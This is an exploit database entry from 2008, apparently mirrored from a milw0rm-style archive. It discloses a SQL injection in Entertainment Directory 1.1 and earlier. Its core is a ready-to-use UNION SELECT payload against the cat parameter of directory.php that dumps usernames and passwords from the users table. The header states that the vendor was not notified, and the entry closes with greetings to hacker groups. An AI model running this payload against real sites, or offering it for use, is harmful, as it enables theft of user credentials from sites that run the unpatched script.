[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Entertainment Directory <= 1.1 SQL Injection Vulnerability
# Published : 2008-04-05
# Author : t0pP8uZz
# Previous Title : Blogator-script 0.95 Change User Password Vulnerability
# Next Title : Easynet Forum Host (forum.php forum) SQL Injection Vulnerability
--==+================================================================================+==--
--==+ Entertainment Directory <= 1.1 SQL Injection Vulnerbility +==--
--==+================================================================================+==--
Discovered By: t0pP8uZz & xprog
Discovered On: 5 April 2008
Script Download: http://www.turnkeyzone.com
DORK: N/A
Vendor Has Not Been Notified!
DESCRIPTION:
Entertainment directory is vulnerable due to a insecure mysql query. this allows the remote attacker
to obtain user credentials from the database.
EXPLOITS:
http://site.com/directory.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,CONCAT(username,char(58),password),9,10,11,12,13,14/**/FROM/**/users/*
NOTE/TIP:
GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew!
--==+================================================================================+==--
--==+ Entertainment Directory <= 1.1 SQL Injection Vulnerbility +==--
--==+================================================================================+==--
# www.Syue.com [2008-04-05]